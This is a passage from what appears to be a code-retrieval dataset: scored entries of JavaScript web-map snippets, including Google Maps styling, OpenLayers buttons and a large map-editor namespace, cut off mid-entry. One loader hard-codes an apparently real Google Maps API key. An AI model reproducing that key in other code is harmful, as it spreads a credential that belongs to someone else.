[{ color: text_color }]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{ color: '#DADFA9' }]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{ color: text_color }]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{ color: '#D3CEC8' }]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{ color: '#FBEFDF' }]\n },\n {\n featureType: 'road', \n elementType: 'labels.icon', \n stylers: [{ visibility: 'off' }] \n }, \n {\n featureType: 'transit', \n stylers: [{visibility: 'off'} ] \n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{visibility: 'off'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#D3CEC8' }]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#FBEFDF' }]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: text_color }]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{ visibility: 'off' }]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: text_color }]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#D9E7E8' }]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: text_color }]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#D9E7E8' }]\n }\n ];\n\n // Disable all user control over map scaling, etc.\n var mapOptions = {\n zoom: 15,\n clickableIcons: false,\n disableDefaultUI: true,\n disableDoubleClickZoom: true,\n fullscreenControl: false,\n gestureHandling: 'none',\n keyboardShortcuts: false,\n mapTypeControl: false,\n panControl: false,\n rotateControl: false,\n scaleControl: false,\n streetViewControl: false,\n zoomControl: false,\n draggable: false,\n scrollwheel: false,\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n styles: mapStyle\n };\n\n map = new google.maps.Map(document.getElementById('map'), mapOptions);\n}", "title": "" }, { "docid": "7031ba45b4b1ab540f6396ef263d15ad", "score": "0.5038058", "text": "function loadAdditionalMapWidgets() {\n\tvar btnFilter = new OpenLayers.Control.Button({\n\t\tdisplayClass: \"btnFilter\",\n\t\ttitle: \"Set Filter\",\n\t\ttrigger: function() {\n\t\t\tfilterButton = 3;\n\t\t\tvar bounds = map2.getExtent();\n\t\t\tselectBox(bounds);\n\t\t}\n\t});\n\n\tvar btnRectangle = new OpenLayers.Control.Button({\n\t\tdisplayClass: \"btnRectangle\",\n\t\ttrigger: function() {\n\t\t\tfilterButton = 2;\n\t\t\tselectFeature.box = true;\n\t\t\tselectFeature.deactivate();\n\t\t\tselectFeature.activate();\t\n\t\t},\n\t\ttitle: \"Use Rectangle Tool\"\n\t});\n\n\tvar btnCursor = new OpenLayers.Control.Button({\n\t\tdisplayClass: \"btnCursor\",\n\t\ttrigger: function() {\n\t\t\tfilterButton = 1;\n\t\t\tselectFeature.box = false;\n\t\t\tselectFeature.deactivate();\n\t\t\tselectFeature.activate();\t\n\t\t},\n\t\ttitle: \"Use Cursor Tool\"\n\t});\n\n\tvar btnCross = new OpenLayers.Control.Button({\n\t\tdisplayClass: \"btnCross\",\n\t\ttrigger: function() {\n\t\t\tselectOneBox = false;\n\t\t\tselectFeature.unselectAll();\n\n\t\t\tclearAllFilter(); //@see exhibitOutputFunctions\n\t\t\tmap2.setCenter( new OpenLayers.LonLat(0, 0).transform(map2.displayProjection, map2.projection), 1);\n\t\t\t\n\t\t},\n\t\ttitle: \"Unselect All\"\n\t});\n\n\tvar panel = new OpenLayers.Control.Panel({\n\t\tdisplayClass: \"OLpanel\"\n\t});\n\n\tpanel.addControls([btnCursor, btnRectangle, btnFilter, btnCross]);\n\tmap2.addControl(panel);\n\t\n\tif (heatmap) //@see heatmap.js\n\t\taddClickListener(panel.id, \"MAP\");\n}", "title": "" }, { "docid": "0f0c4edee619f9261ce9d0805fb57143", "score": "0.50364614", "text": "function init_Mapa1() {\n //Crear mapa en el elemento DOM\n mapa1 = new ol.Map({\n view: new ol.View({\n center: [-15000, 6700000],\n zoom: 4\n }),\n layers: [\n new ol.layer.Tile({\n source: new ol.source.OSM(),\n title: 'capa1'\n }),\n new ol.layer.Tile({\n source: new ol.source.TileWMS({\n url: 'http://demo.mapserver.org/cgi-bin/wms',\n params: {\n 'LAYERS': 'bluemarble'\n },\n }),\n title: 'capa2',\n opacity: 0.5\n })\n ],\n target: 'Mapa1'\n });\n}", "title": "" }, { "docid": "d53f584a7a3f74e94652428c34f9eb20", "score": "0.50223625", "text": "function fetchMapData(map) {\n $.getJSON(`data/${map}.json`, generateMap);\n}", "title": "" }, { "docid": "4f8bf0a7b4110cef420199cd3c60af61", "score": "0.5019072", "text": "function loadGeoLibraries(callback) {\n console.log(\"Appending map library to DOM\");\n\n var script = document.createElement('script');\n script.type = 'text/javascript';\n script.src = 'http://maps.googleapis.com/maps/api/js?' +\n 'v3.5&' + \n 'key={{YOUR_GOOGLEMAP_TOKEN_HERE}}&' +\n 'sensor=false&' +\n 'callback=' + callback;\n document.body.appendChild(script);\n}", "title": "" }, { "docid": "013162ea2fb1b072e8970abfc94163c5", "score": "0.50094384", "text": "function loadScript() {\n\tvar script = document.createElement('script');\n\tscript.src = 'https://maps.googleapis.com/maps/api/js?key=AIzaSyDrq6itjJPber61m46hdD6xu_fwZ5zvnrQ&callback=init';\n\tdocument.body.appendChild(script);\n}", "title": "" }, { "docid": "c08f84f7db9fa855b4f937a12359ab62", "score": "0.5007008", "text": "function MapLocator() {\n if (!mobileFabricConfiguration.isKonySDKObjectInitialized) {\n initializeMobileFabric();\n } else if (mobileFabricConfiguration.isKonySDKObjectInitialized) {\n MapList();\n }\n}", "title": "" }, { "docid": "6b7d08a555c94800261040e2b10f50b5", "score": "0.5006892", "text": "function initMapEditor() {\n //declare the namespace\n MAPEDITOR = function () {\n return {\n TRACER: function () {\n return {\n DEFINES: function () {\n return {\n debugVersionNumber: \"\", //init timestamp\n debugs: 0,\n debugStringBase: \"<strong>Debug Panel:</strong> &nbsp;&nbsp; <a onclick=\\\"MAPEDITOR.TRACER.clearTracer()\\\">(clear)</a> &nbsp;&nbsp; <a onclick=\\\"MAPEDITOR.TRACER.switchTracer()\\\">(on/off)</a> &nbsp;&nbsp; <a onclick=\\\"MAPEDITOR.TRACER.toggleTracer()\\\">(close)</a><br><br>\",\n debugString: null\n };\n }(),\n addTracer: function (message) { //displays tracer message\n var currentdate = new Date();\n var time = currentdate.getHours() + \":\" + currentdate.getMinutes() + \":\" + currentdate.getSeconds() + \":\" + currentdate.getMilliseconds();\n console.log(\"[\" + time + \"] \" + message); //always output to console\n if (MAPEDITOR.GLOBAL.DEFINES.debuggerOn) {\n var newDebugString = \"[\" + time + \"] \" + message + \"<br><hr>\";\n newDebugString += MAPEDITOR.TRACER.DEFINES.debugString;\n document.getElementById(\"debugs\").innerHTML = MAPEDITOR.TRACER.DEFINES.debugStringBase + newDebugString;\n //only debug if it does not hinder performance\n if (newDebugString.length < 10000) {\n MAPEDITOR.TRACER.DEFINES.debugString = newDebugString;\n } else {\n console.log(\"IN APP DEBUGGER CLEARED\");\n MAPEDITOR.TRACER.clearTracer();\n }\n \n ////create debug strings\n //var errorMessages;\n //var warnMessages;\n //var infoMessages;\n //if (message.indexOf(\"[ERROR]:\") > -1) {\n // errorMessages += message;\n //}\n //if (message.indexOf(\"[WARN]:\") > -1) {\n\n //}\n //if (message.indexOf(\"[INFO]:\") > -1) {\n\n //}\n \n }\n },\n clearTracer: function () {\n //clear debug string\n MAPEDITOR.TRACER.DEFINES.debugString = \"\";\n //put the base string back in\n document.getElementById(\"debugs\").innerHTML = MAPEDITOR.TRACER.DEFINES.debugStringBase;\n },\n toggleTracer: function () {\n if (MAPEDITOR.GLOBAL.DEFINES.debuggerOn == true) {\n MAPEDITOR.TRACER.DEFINES.debugs++;\n if (MAPEDITOR.TRACER.DEFINES.debugs % 2 == 0) {\n document.getElementById(\"debugs\").style.display = \"none\";\n MAPEDITOR.GLOBAL.DEFINES.debugMode = false;\n MAPEDITOR.UTILITIES.displayMessage(\"Debug Mode Off\");\n } else {\n document.getElementById(\"debugs\").style.display = \"block\";\n MAPEDITOR.GLOBAL.DEFINES.debugMode = true;\n MAPEDITOR.UTILITIES.displayMessage(\"Debug Mode On\");\n }\n }\n },\n switchTracer: function () {\n if (MAPEDITOR.GLOBAL.DEFINES.debuggerOn == true) {\n MAPEDITOR.GLOBAL.DEFINES.debuggerOn = false;\n } else {\n MAPEDITOR.GLOBAL.DEFINES.debuggerOn = true;\n }\n }\n };\n }(), //tracer support\n GLOBAL: function () {\n return {\n DEFINES: function () {\n return {\n //google maps related\n gmapPageDivId: \"googleMap\", //defines the div where the gmap is\n cursorLatLongTool: null, //holds cCoords control\n toolbarBufferZone1: null, //pushes map controls down some\n toolbarBufferZone2: null, //pushes map controls down some\n copyrightNode: null, //holds custom copyright\n drawingManager: new google.maps.drawing.DrawingManager(), //init default dm\n gmapOptions: null, //holds MAPEDITOR.GLOBAL.DEFINES.gmapOptions\n infoWindow: [], //poi infoWindow\n label: [], //used for the label of the poi\n geocoder: null, //gmap geocoder object\n kmlLayer: null, //gmap kmllayer object\n\n //defaults (read from config file )\n helpPageURL: \"http://cms.uflib.ufl.edu/webservices/StAugustineProject/MapEditorHelper.aspx\", //defines help page (TEMP)\n reportProblemURL: \"http://ufdc.ufl.edu/contact\", //TEMPO move to config\n toServerSuccessMessage: \"Completed\", //holds server success message todo localize\n listItemHighlightColor: \"#FFFFC2\", //holds the default highlight color \n baseURL: null, //holds place for server written vars\n collectionLoadType: null, //hold place for collection load type\n collectionParams: [], //hold place for collection params\n defaultOpacity: 0.5, //holds default opacity settings\n listOfTextAreaIds: [], //holds listOfTextAreaIds\n debugMode: null, //holds debug marker\n hasCustomMapType: null, //holds marker for determining if there is a custom map type\n baseImageDirURL: null, //holds the base image directory url\n mapCenter: null, //used to center map on load\n defaultZoomLevel: null, //zoom level, starting\n maxZoomLevel: null, //max zoom out, default (21:lowest level, 1:highest level)\n minZoomLevel_Terrain: null, //max zoom in, terrain \n minZoomLevel_Satellite: null, //max zoom in, sat + hybrid\n minZoomLevel_Roadmap: null, //max zoom in, roadmap (default)\n minZoomLevel_BlockLot: null, //max zoom in, used for special layers not having default of roadmap\n strictBounds: null, //holds the strict bounds\n incomingACL: \"item\", //hold default incoming ACL (determined in displaying points/overlays)\n\n //flags\n typingInTextArea: false, //hold marker for if we are in a textArea\n debuggerOn: false, //holds debugger flag\n toServerSuccess: false, //holds a marker indicating if toserver was sucessfull\n tempYo: false, //holds tempyo for fixing ff info window issue\n buttonActive_searchResultToggle: false, //holds is button active markers\n buttonActive_itemPlace: false, //holds is button active markers\n buttonActive_overlayToggle: false, //holds is button active markers\n buttonActive_poiToggle: false, //holds is button active markers\n userMayLoseData: false, //holds a marker to determine if signifigant changes have been made to require a save\n isConvertedOverlay: false, //holds a marker for converted overlay\n RIBMode: false, //holds a marker for running in background mode (do not display messages)\n poiToggleState: \"displayed\", //holds marker for displayed/hidden pois\n mapControlsDisplayed: null, //by default, are map controls displayed (true/false)\n defaultDisplayDrawingMangerTool: null, //by default, is the drawingmanger displayed (true/false)\n toolboxDisplayed: null, //by default, is the toolbox displayed (true/false)\n toolbarDisplayed: null, //by default, is the toolbar open (yes/no)\n kmlDisplayed: null, //by default, is kml layer on (yes/no)\n isCustomOverlay: null, //used to determine if other overlays (block/lot etc) //used in testbounds unknown if needed\n pendingOverlaySave: false, //hold the marker to indicate if we need to save the overlay (this prevents a save if we already saved)\n cCoordsFrozen: \"no\", //used to freeze/unfreeze coordinate viewer\n currentlyEditing: \"no\", //tells us if we are editing anything\n firstSaveItem: null, //holds first save marker (used to determine if saving or applying changes)\n firstSaveOverlay: null, //holds first save marker (used to determine if saving or applying changes)\n firstSavePOI: null, //holds first save marker (used to determine if saving or applying changes)\n mapDrawingManagerDisplayed: null, //holds marker for drawing manager\n overlaysCurrentlyDisplayed: null, //holds marker for overlays on map\n mapInBounds: null, //is the map in bounds\n\n //object holders\n mapLayerActive: null, //holds the current map layer active\n prevMapLayerActive: null, //holds the previous active map layer\n actionActive: null, //holds the current active action\n prevActionActive: null, //holds the previous active action\n pageMode: null, //holds the page/viewer type\n overlaysOnMap: [], //holds all overlays\n searchResult: null, //will contain object\n circleCenter: null, //hold center point of circle\n markerCenter: null, //hold center of marker\n placerType: null, //type of data (marker,overlay,poi)\n poiType: [], //typle of poi (marker, circle, rectangle, polygon, polyline)\n poiKML: [], //pou kml layer (or other geographic info)\n poiObj: [], //poi object placholder\n poiCoord: [], //poi coord placeholder\n poiDesc: [], //desc poi placeholder\n globalPolyline: null, //unknown\n rectangle: null, //must define before use\n getCoord: null, //used to store coords from marker\n itemMarker: null, //hold current item marker\n savingMarkerCenter: null, //holds marker coords to save\n savingOverlayIndex: [], //holds index of the overlay we are saving\n savingOverlayLabel: [], //holds label of the overlay we are saving\n savingOverlaySourceURL: [], //hold the source url of the overlay to save\n savingOverlayBounds: [], //holds bounds of the overlay we are saving\n savingOverlayRotation: [], //holds rotation of the overlay we are saving\n savingOverlayPageId: [], //holds page ID of saving overlay\n ghostOverlayRectangle: [], //holds ghost overlay rectangles (IE overlay hotspots)\n\n //simple data holders\n stickyMessageCount: 0, //holds stickyMessageCount\n pageLoadTime: null, //holds time page was loaded\n messageCount: 0, //holds the running count of all the messages written in a session\n poiCount: 0, //holds a marker for pois drawn (fixes first poi desc issue)\n preservedRotation: null, //rotation, default\n knobRotationValue: null, //rotation to display by default \n preservedOpacity: null, //opacity, default value (0-1,1:opaque)\n csoi: 0, //hold current saved overlay index\n oomCount: 0, //counts how many overlays are on the map\n searchCount: 0, //interates how many searches\n degree: 0, //initializing degree\n firstMarker: 0, //used to iterate if marker placement was the first (to prevent duplicates)\n overlayCount: 0, //iterater (contains how many overlays are not deleted)\n poi_i: -1, //increment the poi count (used to make IDs and such)\n firstDraw: 0, //used to increment first drawing of rectangle\n mainCount: 0, //hold debug main count\n overlayType: null, //draw = overlay was drawn\n convertedOverlayIndex: 0, //holds the place for indexing a converted overlay\n workingOverlayIndex: null, //holds the index of the overlay we are working with (and saving)\n currentTopZIndex: 5, //current top zindex (used in displaying overlays over overlays)\n\n //incoming (C#2JS)\n incomingPointSourceURLConverted: null, //holds convert \n incomingPointLabelConverted: null, //holds convert \n incomingLineFeatureType: [], //defined in c# to js on page\n incomingLineLabel: [], //defined in c# to js on page\n incomingLinePath: [], //defined in c# to js on page\n incomingCircleCenter: [], //defined in c# to js on page\n incomingCircleRadius: [], //defined in c# to js on page\n incomingCircleFeatureType: [], //defined in c# to js on page\n incomingCircleLabel: [], //defined in c# to js on page\n incomingPointFeatureType: [], //defined in c# to js on page\n incomingPointCenter: [], //defined in c# to js on page\n incomingPointLabel: [], //defined in c# to js on page\n incomingPointSourceURL: [], //defined in c# to js on page\n incomingPolygonPageId: [], //defined in c# to js on page\n incomingPolygonFeatureType: [], //defined in c# to js on page\n incomingPolygonPolygonType: [], //defined in c# to js on page\n incomingPolygonBounds: [], //defined in c# to js on page\n incomingPolygonPath: [], //defined in c# to js on page\n incomingPolygonCenter: [], //defined in c# to js on page\n incomingPolygonLabel: [], //defined in c# to js on page\n incomingPolygonSourceURL: [], //defined in c# to js on page\n incomingPolygonRotation: [], //defined in c# to js on page\n incomingPolygonRadius: [], //defined in c# to js on page\n\n //gmap related\n ghosting: {\n strokeOpacity: 0.0, //make border invisible\n fillOpacity: 0.0, //make fill transparent\n editable: false, //sobek standard\n draggable: false, //sobek standard\n clickable: false, //sobek standard\n zindex: 5 //perhaps higher?\n }, //defines options for MAPEDITOR.GLOBAL.DEFINES.ghosting (IE being invisible)\n editable: {\n editable: true, //sobek standard\n draggable: true, //sobek standard\n clickable: true, //sobek standard\n strokeOpacity: 0.2, //sobek standard\n strokeWeight: 1, //sobek standard\n fillOpacity: 0.0, //sobek standard \n zindex: 5 //sobek standard\n }, //defines options for visible and MAPEDITOR.GLOBAL.DEFINES.editable\n markerOptionsDefault: {\n draggable: true,\n zIndex: 5\n },\n rectangleOptionsDefault: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1,\n fillOpacity: 0.5\n },\n polygonOptionsDefault: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1,\n fillOpacity: 0.5\n },\n circleOptionsDefault: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1,\n fillOpacity: 0.5\n },\n polylineOptionsDefault: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1\n },\n rectangleOptionsOverlay: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 0.2,\n strokeWeight: 1,\n fillOpacity: 0.0\n },\n markerOptionsItem: {\n draggable: true,\n zIndex: 5\n },\n markerOptionsPOI: {\n draggable: true,\n zIndex: 5\n },\n circleOptionsPOI: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1,\n fillOpacity: 0.5\n },\n rectangleOptionsPOI: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1,\n fillOpacity: 0.5\n },\n polygonOptionsPOI: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1,\n fillOpacity: 0.5\n },\n polylineOptionsPOI: {\n editable: true,\n draggable: true,\n zIndex: 5,\n strokeOpacity: 1.0,\n strokeWeight: 1\n }\n };\n }(),\n displayIncomingPoints: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayIncomingPoints started...\");\n\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPointCenter) {\n //go through and display points as long as there is a point to display\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingPointCenter.length; i++) {\n switch (MAPEDITOR.GLOBAL.DEFINES.incomingPointFeatureType[i]) {\n case \"\":\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"item\";\n MAPEDITOR.GLOBAL.DEFINES.firstMarker++;\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = new google.maps.Marker({\n position: MAPEDITOR.GLOBAL.DEFINES.incomingPointCenter[i],\n map: map,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingPointLabel[i]\n });\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setOptions(MAPEDITOR.GLOBAL.DEFINES.markerOptionsItem);\n document.getElementById('content_toolbox_posItem').value = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.itemMarker, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.GLOBAL.DEFINES.firstSaveItem = true;\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition(); //store coords to save\n document.getElementById('content_toolbox_posItem').value = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n });\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.itemMarker, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n MAPEDITOR.GLOBAL.DEFINES.mainCount++;\n MAPEDITOR.GLOBAL.DEFINES.incomingACL = \"item\";\n break;\n case \"main\":\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"item\";\n MAPEDITOR.GLOBAL.DEFINES.firstMarker++;\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = new google.maps.Marker({\n position: MAPEDITOR.GLOBAL.DEFINES.incomingPointCenter[i],\n map: map,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingPointLabel[i]\n });\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setOptions(MAPEDITOR.GLOBAL.DEFINES.markerOptionsItem);\n document.getElementById('content_toolbox_posItem').value = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.itemMarker, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.GLOBAL.DEFINES.firstSaveItem = true;\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition(); //store coords to save\n document.getElementById('content_toolbox_posItem').value = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n });\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.itemMarker, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n MAPEDITOR.GLOBAL.DEFINES.mainCount++;\n MAPEDITOR.GLOBAL.DEFINES.incomingACL = \"item\";\n break;\n case \"poi\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: incoming poi: \" + i + \" \" + MAPEDITOR.GLOBAL.DEFINES.incomingPointLabel[i]);\n var marker = new google.maps.Marker({\n position: MAPEDITOR.GLOBAL.DEFINES.incomingPointCenter[i],\n map: map,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingPointLabel[i]\n });\n marker.setOptions(MAPEDITOR.GLOBAL.DEFINES.markerOptionsPOI);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: incoming center: \" + marker.getPosition());\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: marker.getPosition(), //position of real marker\n map: map,\n zIndex: 2,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.incomingPointLabel[(i)],\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = marker;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"marker\";\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n var poiDescTemp = MAPEDITOR.GLOBAL.DEFINES.incomingPointLabel[i];\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItemIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[MAPEDITOR.GLOBAL.DEFINES.poi_i] = poiDescTemp;\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDescIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiDescTemp, \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString,\n position: marker.getPosition()\n });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map, MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i]);\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n google.maps.event.addListener(marker, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n });\n google.maps.event.addListener(marker, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setOptions({ position: this.getPosition(), pixelOffset: new google.maps.Size(0, -40) });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(this.getPosition());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n google.maps.event.addListener(marker, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setOptions({ position: this.getPosition(), pixelOffset: new google.maps.Size(0, -40) });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n });\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(marker, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n break;\n }\n }\n } else {\n //not sure if ever called...\n MAPEDITOR.GLOBAL.DEFINES.firstMarker++;\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = new google.maps.Marker({\n position: map.getCenter(), //just get the center poin of the map\n map: null, //hide on load\n draggable: false,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingPointLabel[0]\n });\n //nothing to display because there is no geolocation of item\n }\n //once everything is drawn, determine if there are pois\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount > 0) {\n //close and reopen pois (to fix firefox bug)\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n //this hides the MAPEDITOR.GLOBAL.DEFINES.infoWindows at startup\n for (var j = 0; j < MAPEDITOR.GLOBAL.DEFINES.poiCount; j++) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[j].setMap(null);\n }\n }, 1000);\n }\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayIncomingPoints completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n displayIncomingCircles: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayIncomingCircles started...\");\n\n if (MAPEDITOR.GLOBAL.DEFINES.incomingCircleCenter.length > 0) {\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingCircleCenter.length; i++) {\n switch (MAPEDITOR.GLOBAL.DEFINES.incomingCircleFeatureType[i]) {\n case \"\":\n break;\n case \"main\":\n break;\n case \"poi\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: incoming poi: \" + i + \" \" + MAPEDITOR.GLOBAL.DEFINES.incomingCircleLabel[i]);\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"poi\";\n var circle = new google.maps.Circle({\n center: MAPEDITOR.GLOBAL.DEFINES.incomingCircleCenter[i],\n map: map,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingCircleLabel[i],\n radius: MAPEDITOR.GLOBAL.DEFINES.incomingCircleRadius[i]\n });\n circle.setOptions(MAPEDITOR.GLOBAL.DEFINES.circleOptionsPOI);\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: circle.getCenter(), //position of real marker\n zIndex: 2,\n map: map,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.incomingCircleLabel[i],\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = circle;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = 